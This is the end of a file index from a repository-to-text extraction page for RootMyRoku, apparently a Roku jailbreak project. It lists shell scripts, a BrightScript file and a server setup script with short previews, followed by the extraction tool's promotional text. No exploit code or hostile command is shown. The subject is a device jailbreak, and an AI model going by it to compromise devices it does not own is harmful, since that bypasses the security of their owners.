    "preview": "#!/bin/sh\n\nstatus() { echo \"[$(date)]\" \"$@\"; }\nwarning() { status \"$@\" 1>&2; }\nfail() { warning \"$@\"; exit 1; }\n\nexec >>"
  },
  {
    "path": "remote/resolv.sh",
    "chars": 2751,
    "preview": "#!/bin/sh\n\nstatus() { echo \"[$(date)]\" \"$@\"; }\nwarning() { status \"$@\" 1>&2; }\nfail() { warning \"$@\"; exit 1; }\n\nexec >>"
  },
  {
    "path": "remote/source/Main.brs",
    "chars": 2577,
    "preview": "Sub Main()\n    m.port = CreateObject(\"roMessagePort\")\n\n    screen = CreateObject(\"roSGScreen\")\n    screen.setMessagePort"
  },
  {
    "path": "server/README.md",
    "chars": 802,
    "preview": "This is the shell script used to create and configure the NFS and DNS server used by this jailbreak.  \nYou can use this "
  },
  {
    "path": "server/setup.sh",
    "chars": 3295,
    "preview": "#!/usr/bin/env bash\n\n# Once the server setup is complete, you'll still need to do a few things:\n#   1. Make sure the DNS"
  }
]

About this extraction

This page contains the full source code of the llamasoft/RootMyRoku GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 15 files (31.5 KB), approximately 8.6k tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!